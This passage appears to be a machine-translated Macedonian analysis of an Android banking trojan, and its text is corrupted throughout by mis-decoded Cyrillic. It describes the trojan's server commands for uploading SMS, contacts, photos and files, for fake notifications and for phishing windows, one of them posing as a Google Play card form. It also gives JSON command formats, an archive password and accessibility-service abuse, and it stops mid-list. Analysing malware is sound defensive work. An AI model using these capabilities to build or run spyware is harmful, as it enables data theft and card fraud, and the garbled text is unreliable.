uploadAllSms | ΠΡΠΏΡΠ°ΡΠ΅ΡΠ΅ Π³ΠΈ ΡΠΈΡΠ΅ Π‘ΠΠ‘ ΠΏΠΎΡΠ°ΠΊΠΈ ΡΡΠΎ Π³ΠΈ Π΄ΠΎΠ±ΠΈΠ²Π° ΡΡΠ΅Π΄ΠΎΡ Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠΎΡ. |
ΠΏΡΠΈΠΊΠ°ΡΠ΅ΡΠ΅ Π³ΠΈ ΡΠΈΡΠ΅ ΡΠΎΡΠΎΠ³ΡΠ°ΡΠΈΠΈ | ΠΡΠΏΡΠ°ΡΠ΅ΡΠ΅ ΡΠ»ΠΈΠΊΠΈ ΠΎΠ΄ Π·Π°ΡΠ°Π·Π΅Π½ ΡΡΠ΅Π΄ Π½Π° URL. URL-ΡΠΎ Π΄ΠΎΠ°ΡΠ° ΠΊΠ°ΠΊΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°Ρ. |
uploadFile | ΠΡΠΏΡΠ°ΡΠ΅ΡΠ΅ Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° Π΄ΠΎ URL ΠΎΠ΄ Π·Π°ΡΠ°Π·Π΅Π½ ΡΡΠ΅Π΄. URL-ΡΠΎ Π΄ΠΎΠ°ΡΠ° ΠΊΠ°ΠΊΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°Ρ. |
ΠΈΡΠΏΡΠ°ΡΠΈΡΠ΅ ΡΠ΅Π»Π΅ΡΠΎΠ½ΡΠΊΠΈ Π±ΡΠΎΠ΅Π²ΠΈ | ΠΡΠΏΡΠ°ΡΠ΅ΡΠ΅ ΡΠ΅Π»Π΅ΡΠΎΠ½ΡΠΊΠΈ Π±ΡΠΎΠ΅Π²ΠΈ ΠΎΠ΄ Π²Π°ΡΠ°ΡΠ° Π»ΠΈΡΡΠ° ΡΠΎ ΠΊΠΎΠ½ΡΠ°ΠΊΡΠΈ Π΄ΠΎ ΡΠ΅ΡΠ²Π΅ΡΠΎΡ. ΠΠΊΠΎ Π²ΡΠ΅Π΄Π½ΠΎΡΡΠ° Π½Π° ΠΎΠ±ΡΠ΅ΠΊΡΠΎΡ JSON ΡΠΎ ΠΊΠΎΠΏΡΠ΅ΡΠΎ βabβ ΡΠ΅ ΠΏΡΠΈΠΌΠΈ ΠΊΠ°ΠΊΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°Ρ, Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° Π΄ΠΎΠ±ΠΈΠ²Π° ΡΠΏΠΈΡΠΎΠΊ ΡΠΎ ΠΊΠΎΠ½ΡΠ°ΠΊΡΠΈ ΠΎΠ΄ ΡΠ΅Π»Π΅ΡΠΎΠ½ΡΠΊΠΈΠΎΡ ΠΈΠΌΠ΅Π½ΠΈΠΊ. ΠΠΊΠΎ JSON ΠΎΠ±ΡΠ΅ΠΊΡ ΡΠΎ ΠΊΠ»ΡΡΠΎΡ βsmsβ ΡΠ΅ ΠΏΡΠΈΠΌΠΈ ΠΊΠ°ΠΊΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°Ρ, Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΡΠ° ΡΠΈΡΠ° Π»ΠΈΡΡΠ°ΡΠ° Π½Π° ΠΊΠΎΠ½ΡΠ°ΠΊΡΠΈ ΠΎΠ΄ ΠΈΡΠΏΡΠ°ΡΠ°ΡΠΈΡΠ΅ Π½Π° Π‘ΠΠ‘ ΠΏΠΎΡΠ°ΠΊΠΈ. |
ΠΏΡΠΎΠΌΠ΅Π½Π° ΠΡΡ ΠΈΠ²Π° | ΠΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΡΠ° ΠΏΡΠ΅Π·Π΅ΠΌΠ° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ° ΠΎΠ΄ Π°Π΄ΡΠ΅ΡΠ°ΡΠ° ΡΡΠΎ Π΄ΠΎΠ°ΡΠ° ΠΊΠ°ΠΊΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°Ρ ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ Π³ΠΎ ΠΊΠΎΠΏΡΠ΅ΡΠΎ βurlβ. ΠΡΠ΅Π·Π΅ΠΌΠ΅Π½Π°ΡΠ° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° ΡΠ΅ Π·Π°ΡΡΠ²ΡΠ²Π° ΡΠΎ ΠΈΠΌΠ΅ΡΠΎ βarchive.zipβ. ΠΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΠΏΠΎΡΠΎΠ° ΡΠ΅ ΡΠ° ΠΎΡΠΏΠ°ΠΊΡΠ²Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ°, ΠΎΠΏΡΠΈΠΎΠ½Π°Π»Π½ΠΎ ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ ΡΠ° Π»ΠΎΠ·ΠΈΠ½ΠΊΠ°ΡΠ° Π·Π° Π°ΡΡ ΠΈΠ²Π° βb5jXh37gxgHBrZhQ4j3Dβ. ΠΡΠΏΠ°ΠΊΡΠ²Π°Π½ΠΈΡΠ΅ Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ ΡΠ΅ Π·Π°ΡΡΠ²ΡΠ²Π°Π°Ρ Π²ΠΎ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΎΡ [Π½Π°Π΄Π²ΠΎΡΠ΅ΡΠ½Π° ΠΌΠ΅ΠΌΠΎΡΠΈΡΠ°]/hgps. ΠΠΎ ΠΎΠ²ΠΎΡ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌ, Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΡΠΊΠ»Π°Π΄ΠΈΡΠ° Π²Π΅Π±-ΡΠ°Π»ΡΠΈΡΠΈΠΊΠ°ΡΠΈ (ΠΎΠΏΠΈΡΠ°Π½ΠΈ ΠΏΠΎΠ΄ΠΎΠ»Ρ). |
Π°ΠΊΡΠΈΠ²Π½ΠΎΡΡΠΈ | ΠΠΎΠΌΠ°Π½Π΄Π°ΡΠ° Π΅ Π΄ΠΈΠ·Π°ΡΠ½ΠΈΡΠ°Π½Π° Π΄Π° ΡΠ°Π±ΠΎΡΠΈ ΡΠΎ Action Service, ΡΡΠΎ Π΅ ΠΎΠΏΠΈΡΠ°Π½ΠΎ Π²ΠΎ ΠΏΠΎΡΠ΅Π±Π΅Π½ Π΄Π΅Π». |
ΡΠ΅ΡΡ | ΠΠ΅ ΠΏΡΠ°Π²Π΅ΡΡΠΈ Π½ΠΈΡΡΠΎ. |
ΠΡΠ΅Π²Π·Π΅ΠΌΠΈ | ΠΠΎΠΌΠ°Π½Π΄Π°ΡΠ° Π΅ Π½Π°ΠΌΠ΅Π½Π΅ΡΠ° Π΄Π° ΠΏΡΠ΅Π·Π΅ΠΌΠ΅ Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° ΠΎΠ΄ ΠΎΠ΄Π΄Π°Π»Π΅ΡΠ΅Π½ ΡΠ΅ΡΠ²Π΅Ρ ΠΈ Π΄Π° ΡΠ° Π·Π°ΡΡΠ²Π° Π²ΠΎ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΎΡ βΠΡΠ΅Π·Π΅ΠΌΠ°ΡΠ°β. URL-Π°Π΄ΡΠ΅ΡΠ°ΡΠ° ΠΈ ΠΈΠΌΠ΅ΡΠΎ Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ° Π΄ΠΎΠ°ΡΠ°Π°Ρ ΠΊΠ°ΠΊΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°Ρ, ΠΏΠΎΠ»ΠΈΡΠ° Π²ΠΎ ΠΎΠ±ΡΠ΅ΠΊΡΠΎΡ Π½Π° ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°ΡΠΎΡ JSON, ΡΠΎΠΎΠ΄Π²Π΅ΡΠ½ΠΎ: βurlβ ΠΈ βfileNameβ. |
ΠΎΡΡΡΡΠ°Π½ΠΈ | ΠΡΡΡΡΠ°Π½ΡΠ²Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° ΠΎΠ΄ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΎΡ βΠΡΠ΅Π·Π΅ΠΌΠ°ΡΠ°β. ΠΠΌΠ΅ΡΠΎ Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ° Π΄ΠΎΠ°ΡΠ° Π²ΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°Ρ JSON ΡΠΎ ΠΊΠΎΠΏΡΠ΅ΡΠΎ βΠΠΌΠ΅ Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°β. Π‘ΡΠ°Π½Π΄Π°ΡΠ΄Π½ΠΎΡΠΎ ΠΈΠΌΠ΅ Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ° Π΅ βtmp.apkβ. |
ΠΈΠ·Π²Π΅ΡΡΡΠ²Π°ΡΠ΅ | ΠΡΠΈΠΊΠ°ΠΆΠΈ ΠΈΠ·Π²Π΅ΡΡΡΠ²Π°ΡΠ΅ ΡΠΎ ΡΠ΅ΠΊΡΡΠΎΠ²ΠΈ Π·Π° ΠΎΠΏΠΈΡ ΠΈ Π½Π°ΡΠ»ΠΎΠ² Π΄Π΅ΡΠΈΠ½ΠΈΡΠ°Π½ΠΈ ΠΎΠ΄ ΡΠ΅ΡΠ²Π΅ΡΠΎΡ Π·Π° ΡΠΏΡΠ°Π²ΡΠ²Π°ΡΠ΅. |
Π€ΠΎΡΠΌΠ°Ρ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΠΈΠ·Π²Π΅ΡΡΡΠ²Π°ΡΠ΅:
{
"results" : "OK",
"command":{
"id": <%id%>,
"command":"notification",
"timestamp":<%Server Timestamp%>,
"params":{
"openApp":<%Open original app or not%>,
"array":[
{"title":<%Title text%>,
"desc":<%Description text%>,
"app":<%Application name%>}
]
},
},
}
ΠΠ·Π²Π΅ΡΡΡΠ²Π°ΡΠ΅ΡΠΎ Π³Π΅Π½Π΅ΡΠΈΡΠ°Π½ΠΎ ΠΎΠ΄ Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ° ΠΏΠΎΠ΄ ΠΈΡΡΡΠ°Π³Π° ΠΈΠ·Π³Π»Π΅Π΄Π° ΠΈΠ΄Π΅Π½ΡΠΈΡΠ½ΠΎ ΡΠΎ ΠΈΠ·Π²Π΅ΡΡΡΠ²Π°ΡΠ°ΡΠ° Π³Π΅Π½Π΅ΡΠΈΡΠ°Π½ΠΈ ΠΎΠ΄ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° Π½Π°Π²Π΅Π΄Π΅Π½Π° Π²ΠΎ ΠΏΠΎΠ»Π΅ΡΠΎ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ°. ΠΠΊΠΎ Π²ΡΠ΅Π΄Π½ΠΎΡΡΠ° Π½Π° ΠΏΠΎΠ»Π΅ΡΠΎ ΠΎΡΠ²ΠΎΡΠ΅Π½Π° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ° β Π’ΠΎΡΠ½ΠΎ, ΠΊΠΎΠ³Π° ΡΠ΅ ΡΠ΅ ΠΎΡΠ²ΠΎΡΠΈ ΠΈΠ·Π²Π΅ΡΡΡΠ²Π°ΡΠ΅, ΡΠ΅ Π°ΠΊΡΠΈΠ²ΠΈΡΠ° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° Π½Π°Π²Π΅Π΄Π΅Π½Π° Π²ΠΎ ΠΏΠΎΠ»Π΅ΡΠΎ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ°. ΠΠΊΠΎ Π²ΡΠ΅Π΄Π½ΠΎΡΡΠ° Π½Π° ΠΏΠΎΠ»Π΅ΡΠΎ ΠΎΡΠ²ΠΎΡΠ΅Π½Π° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ° - ΠΠ΅ΡΠΎΡΠ½ΠΎ, ΡΠΎΠ³Π°Ρ:
- Π‘Π΅ ΠΎΡΠ²ΠΎΡΠ° ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ Π·Π° ΡΠΈΡΠΈΠ½Π³, ΡΠΈΡΠ° ΡΠΎΠ΄ΡΠΆΠΈΠ½Π° ΡΠ΅ ΠΏΡΠ΅Π·Π΅ΠΌΠ° ΠΎΠ΄ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΎΡ /hgps/
- Π‘Π΅ ΠΎΡΠ²ΠΎΡΠ° ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ Π·Π° ΡΠΈΡΠΈΠ½Π³, ΡΠΈΡΠ° ΡΠΎΠ΄ΡΠΆΠΈΠ½Π° ΡΠ΅ ΠΏΡΠ΅Π·Π΅ΠΌΠ° ΠΎΠ΄ ΡΠ΅ΡΠ²Π΅ΡΠΎΡ ?id=&app=
- Π‘Π΅ ΠΎΡΠ²ΠΎΡΠ° ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ Π·Π° ΡΠΈΡΠΈΠ½Π³, ΠΌΠ°ΡΠΊΠΈΡΠ°Π½ ΠΊΠ°ΠΊΠΎ Google Play ΠΊΠ°ΡΡΠΈΡΠΊΠ°, ΡΠΎ ΠΌΠΎΠΆΠ½ΠΎΡΡ Π·Π° Π²Π½Π΅ΡΡΠ²Π°ΡΠ΅ Π΄Π΅ΡΠ°Π»ΠΈ Π·Π° ΠΊΠ°ΡΡΠΈΡΠΊΠ°ΡΠ°.
ΠΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° Π³ΠΎ ΠΈΡΠΏΡΠ°ΡΠ° ΡΠ΅Π·ΡΠ»ΡΠ°ΡΠΎΡ ΠΎΠ΄ ΠΊΠΎΡΠ° Π±ΠΈΠ»ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄Π° Π΄ΠΎ set_state.php ΠΊΠ°ΠΊΠΎ JSON ΠΎΠ±ΡΠ΅ΠΊΡ Π²ΠΎ ΡΠ»Π΅Π΄Π½ΠΈΠΎΠ² ΡΠΎΡΠΌΠ°Ρ:
{
"command":
{
"command":<%command%>,
"id":<%command_id%>,
"state":<%command_state%>
}
"id":<%bot_id%>
}
Actions Service
Π‘ΠΏΠΈΡΠΎΠΊΠΎΡ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΡΡΠΎ Π³ΠΈ ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠ²Π° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈΡΠ΅ Π³ΠΈ Π²ΠΊΠ»ΡΡΡΠ²Π° Π°ΠΊΡΠΈΡΠ°. ΠΠΎΠ³Π° ΡΠ΅ ΡΠ΅ ΠΏΡΠΈΠΌΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Π°, ΠΌΠΎΠ΄ΡΠ»ΠΎΡ Π·Π° ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ° Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΠΏΡΠΈΡΡΠ°ΠΏΡΠ²Π° Π΄ΠΎ ΠΎΠ²Π°Π° ΡΡΠ»ΡΠ³Π° Π·Π° Π΄Π° ΡΠ° ΠΈΠ·Π²ΡΡΠΈ ΠΏΡΠΎΡΠΈΡΠ΅Π½Π°ΡΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π°. Π£ΡΠ»ΡΠ³Π°ΡΠ° ΠΏΡΠΈΡΠ°ΡΠ° JSON ΠΎΠ±ΡΠ΅ΠΊΡ ΠΊΠ°ΠΊΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°Ρ. Π£ΡΠ»ΡΠ³Π°ΡΠ° ΠΌΠΎΠΆΠ΅ Π΄Π° Π³ΠΈ ΠΈΠ·Π²ΡΡΠΈ ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ:
1. PARAMS_ACTION β ΠΊΠΎΠ³Π° ΠΏΡΠΈΠΌΠ° ΡΠ°ΠΊΠ²Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°, ΡΡΠ»ΡΠ³Π°ΡΠ° ΠΏΡΠ²ΠΎ ΡΠ° Π΄ΠΎΠ±ΠΈΠ²Π° ΠΎΠ΄ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°ΡΠΎΡ JSON Π²ΡΠ΅Π΄Π½ΠΎΡΡΠ° Π½Π° ΠΊΠ»ΡΡΠΎΡ Type, ΡΡΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° Π±ΠΈΠ΄Π΅ ΠΊΠ°ΠΊΠΎ ΡΡΠΎ ΡΠ»Π΅Π΄ΡΠ²Π°:
- ServiceInfo β ΠΏΠΎΠ΄ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° ΡΠ° Π΄ΠΎΠ±ΠΈΠ²Π° Π²ΡΠ΅Π΄Π½ΠΎΡΡΠ° ΠΏΠΎ ΠΊΠ»ΡΡ ΠΎΠ΄ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°ΡΠΎΡ JSON Π²ΠΊΠ»ΡΡΡΠ²Π° ΠΠ΅Π²Π°ΠΆΠ½ΠΎ. ΠΠΊΠΎ Π·Π½Π°ΠΌΠ΅ΡΠΎ Π΅ True, Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° Π³ΠΎ ΠΏΠΎΡΡΠ°Π²ΡΠ²Π° Π·Π½Π°ΠΌΠ΅ΡΠΎ FLAG_ISOLATED_PROCESS Π½Π° ΡΡΠ»ΡΠ³Π° ΡΡΠΎ ΡΠ° ΠΊΠΎΡΠΈΡΡΠΈ ΡΡΠ»ΡΠ³Π°ΡΠ° Π·Π° ΠΏΡΠΈΡΡΠ°ΠΏΠ½ΠΎΡΡ. ΠΠ° ΠΎΠ²ΠΎΡ Π½Π°ΡΠΈΠ½ ΡΡΠ»ΡΠ³Π°ΡΠ° ΡΠ΅ Π±ΠΈΠ΄Π΅ Π»Π°Π½ΡΠΈΡΠ°Π½Π° Π²ΠΎ ΠΏΠΎΡΠ΅Π±Π΅Π½ ΠΏΡΠΎΡΠ΅Ρ.
- ΠΊΠΎΡΠ΅Π½ β ΠΏΡΠΈΠΌΠ°ΡΡΠ΅ ΠΈ ΠΈΡΠΏΡΠ°ΡΠ°ΡΡΠ΅ Π΄ΠΎ ΡΠ΅ΡΠ²Π΅ΡΠΎΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ Π·Π° ΠΏΡΠΎΠ·ΠΎΡΠ΅ΡΠΎΡ ΡΡΠΎ ΠΌΠΎΠΌΠ΅Π½ΡΠ°Π»Π½ΠΎ Π΅ Π²ΠΎ ΡΠΎΠΊΡΡ. ΠΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° Π΄ΠΎΠ±ΠΈΠ²Π° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ ΡΠ° ΠΊΠ»Π°ΡΠ°ΡΠ° AccessibilityNodeInfo.
- admin β ΠΏΠΎΠ±Π°ΡΠ°ΡΡΠ΅ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΡΠΊΠΈ ΠΏΡΠ°Π²Π°.
- ΠΎΠ΄Π»ΠΎΠΆΡΠ²Π°ΡΠ΅ β ΡΡΡΠΏΠ΅Π½Π΄ΠΈΡΠ°Ρ Π³ΠΎ ActionsService Π·Π° Π±ΡΠΎΡΠΎΡ Π½Π° ΠΌΠΈΠ»ΠΈΡΠ΅ΠΊΡΠ½Π΄ΠΈ Π½Π°Π²Π΅Π΄Π΅Π½ΠΈ Π²ΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°ΡΠΎΡ Π·Π° ΠΊΠΎΠΏΡΠ΅ΡΠΎ βΠΏΠΎΠ΄Π°ΡΠΎΡΠΈβ.
- Windows β ΠΈΡΠΏΡΠ°ΡΠ΅ΡΠ΅ Π»ΠΈΡΡΠ° Π½Π° ΠΏΡΠΎΠ·ΠΎΡΡΠΈ Π²ΠΈΠ΄Π»ΠΈΠ²ΠΈ Π·Π° ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊΠΎΡ.
- ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ° β ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°ΡΡΠ΅ ΡΠ° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° Π½Π° Π·Π°ΡΠ°Π·Π΅Π½ΠΈΠΎΡ ΡΡΠ΅Π΄. ΠΠΌΠ΅ΡΠΎ Π½Π° Π°ΡΡ ΠΈΠ²ΡΠΊΠΈΠΎΡ ΠΏΠ°ΠΊΠ΅Ρ Π΅ Π²ΠΎ ΠΊΠΎΠΏΡΠ΅ΡΠΎ βΠΠΌΠ΅ Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°β. Π‘Π°ΠΌΠ°ΡΠ° Π°ΡΡ ΠΈΠ²Π° ΡΠ΅ Π½Π°ΠΎΡΠ° Π²ΠΎ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΎΡ ΠΡΠ΅Π·Π΅ΠΌΠ°ΡΠ°.
- Π³Π»ΠΎΠ±Π°Π»Π½Π° β ΠΏΠΎΠ΄ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° Π΅ Π½Π°ΠΌΠ΅Π½Π΅ΡΠ° Π·Π° Π½Π°Π²ΠΈΠ³Π°ΡΠΈΡΠ° ΠΎΠ΄ ΡΠ΅ΠΊΠΎΠ²Π½ΠΈΠΎΡ ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ:
- Π½Π° ΠΌΠ΅Π½ΠΈΡΠΎ ΠΡΠ·ΠΈ ΠΏΠΎΡΡΠ°Π²ΠΊΠΈ
- Π½Π°Π·Π°Π΄
- Π΄ΠΎΠΌΠ°
- Π΄ΠΎ ΠΈΠ·Π²Π΅ΡΡΡΠ²Π°ΡΠ°
- Π΄ΠΎ Π½Π΅ΠΎΠ΄Π°ΠΌΠ½Π° ΠΎΡΠ²ΠΎΡΠ΅Π½ΠΈΠΎΡ ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ ΡΠΎ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ
- Π·Π°ΠΏΠΎΡΠ½Π΅ - ΡΡΠ°ΡΡΡΠ²Π°ΡΡΠ΅ ΡΠ° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ°. ΠΠΌΠ΅ΡΠΎ Π½Π° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° Π΄ΠΎΠ°ΡΠ° ΠΊΠ°ΠΊΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°Ρ ΠΏΠΎ ΠΊΠ»ΡΡ ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ.
- Π·Π²ΡΡΠΈ β ΡΠΌΠ΅Π½Π΅ΡΠ΅ Π³ΠΎ ΡΠ΅ΠΆΠΈΠΌΠΎΡ Π½Π° Π·Π²ΡΠΊ Π²ΠΎ ΡΠΈΡΠΈΠ½Π°.
- ΠΎΡΠΊΠ»ΡΡΠΈΡΠ΅ β Π³ΠΎ Π²ΠΊΠ»ΡΡΡΠ²Π° ΠΏΠΎΠ·Π°Π΄ΠΈΠ½ΡΠΊΠΎΡΠΎ ΠΎΡΠ²Π΅ΡΠ»ΡΠ²Π°ΡΠ΅ Π½Π° Π΅ΠΊΡΠ°Π½ΠΎΡ ΠΈ ΡΠ°ΡΡΠ°ΡΡΡΠ°ΡΠ° Π΄ΠΎ ΡΠ΅Π»ΠΎΡΠ½Π° ΠΎΡΠ²Π΅ΡΠ»Π΅Π½ΠΎΡΡ. ΠΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° Π³ΠΎ ΠΈΠ·Π²ΡΡΡΠ²Π° ΠΎΠ²Π° Π΄Π΅ΡΡΡΠ²ΠΎ ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ WakeLock, Π½Π°Π²Π΅Π΄ΡΠ²Π°ΡΡΠΈ ΡΠ° Π½ΠΈΠ·Π°ΡΠ° [Application lable]:INFO ΠΊΠ°ΠΊΠΎ ΠΎΠ·Π½Π°ΠΊΠ°
- Π΄ΠΎΠ·Π²ΠΎΠ»Π° ΠΡΠ΅ΠΊΠ»ΠΎΠΏΡΠ²Π°ΡΠ΅ β ΡΡΠ½ΠΊΡΠΈΡΠ°ΡΠ° Π½Π΅ Π΅ ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠΈΡΠ°Π½Π° (ΠΎΠ΄Π³ΠΎΠ²ΠΎΡΠΎΡ Π½Π° ΠΈΠ·Π²ΡΡΡΠ²Π°ΡΠ΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° Π΅ {"ΠΏΠΎΡΠ°ΠΊΠ°":"ΠΠ΅ ΠΏΠΎΠ΄Π΄ΡΠΆΡΠ²Π°"} ΠΈΠ»ΠΈ {"ΠΏΠΎΡΠ°ΠΊΠ°":"Π½ΠΈΡΠΊΠ° SDK"})
- Π³Π΅ΡΡ β ΡΡΠ½ΠΊΡΠΈΡΠ°ΡΠ° Π½Π΅ Π΅ ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠΈΡΠ°Π½Π° (ΠΎΠ΄Π³ΠΎΠ²ΠΎΡΠΎΡ Π½Π° ΠΈΠ·Π²ΡΡΡΠ²Π°ΡΠ΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° Π΅ {"ΠΏΠΎΡΠ°ΠΊΠ°":"ΠΠ΅ ΠΏΠΎΠ΄Π΄ΡΠΆΡΠ²Π°"}ΠΈΠ»ΠΈ {"ΠΏΠΎΡΠ°ΠΊΠ°":"ΠΠΈΠ·ΠΎΠΊ API"})
- Π΄ΠΎΠ·Π²ΠΎΠ»ΠΈ β ΠΎΠ²Π°Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° Π΅ Π½Π΅ΠΎΠΏΡ
ΠΎΠ΄Π½Π° Π·Π° Π±Π°ΡΠ°ΡΠ΅ Π΄ΠΎΠ·Π²ΠΎΠ»ΠΈ Π·Π° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ°. Π‘Π΅ΠΏΠ°ΠΊ, ΡΡΠ½ΠΊΡΠΈΡΠ°ΡΠ° Π·Π° ΠΏΡΠ΅Π±Π°ΡΡΠ²Π°ΡΠ΅ Π½Π΅ Π΅ ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠΈΡΠ°Π½Π°, ΡΠ°ΠΊΠ° ΡΡΠΎ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° Π΅ Π±Π΅ΡΠΌΠΈΡΠ»Π΅Π½Π°. Π‘ΠΏΠΈΡΠΎΠΊΠΎΡ Π½Π° Π±Π°ΡΠ°Π½ΠΈΡΠ΅ ΠΏΡΠ°Π²Π° Π΄ΠΎΠ°ΡΠ° ΠΊΠ°ΠΊΠΎ Π½ΠΈΠ·Π° JSON ΡΠΎ ΠΊΠ»ΡΡΠΎΡ βΠ΄ΠΎΠ·Π²ΠΎΠ»ΠΈβ. Π‘ΡΠ°Π½Π΄Π°ΡΠ΄Π½Π° Π»ΠΈΡΡΠ°:
- Π°Π½Π΄ΡΠΎΠΈΠ΄.Π΄ΠΎΠ·Π²ΠΎΠ»Π°.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- ΠΎΡΠ²ΠΎΡΠΈ β ΠΏΡΠΈΠΊΠ°ΠΆΠ΅ΡΠ΅ ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ Π·Π° ΡΠΈΡΠΈΠ½Π³. ΠΠΎ Π·Π°Π²ΠΈΡΠ½ΠΎΡΡ ΠΎΠ΄ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°ΡΠΎΡ ΡΡΠΎ Π΄ΠΎΠ°ΡΠ° ΠΎΠ΄ ΡΠ΅ΡΠ²Π΅ΡΠΎΡ, Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΠΌΠΎΠΆΠ΅ Π΄Π° Π³ΠΈ ΠΏΡΠΈΠΊΠ°ΠΆΠ΅ ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ phishing ΠΏΡΠΎΠ·ΠΎΡΡΠΈ:
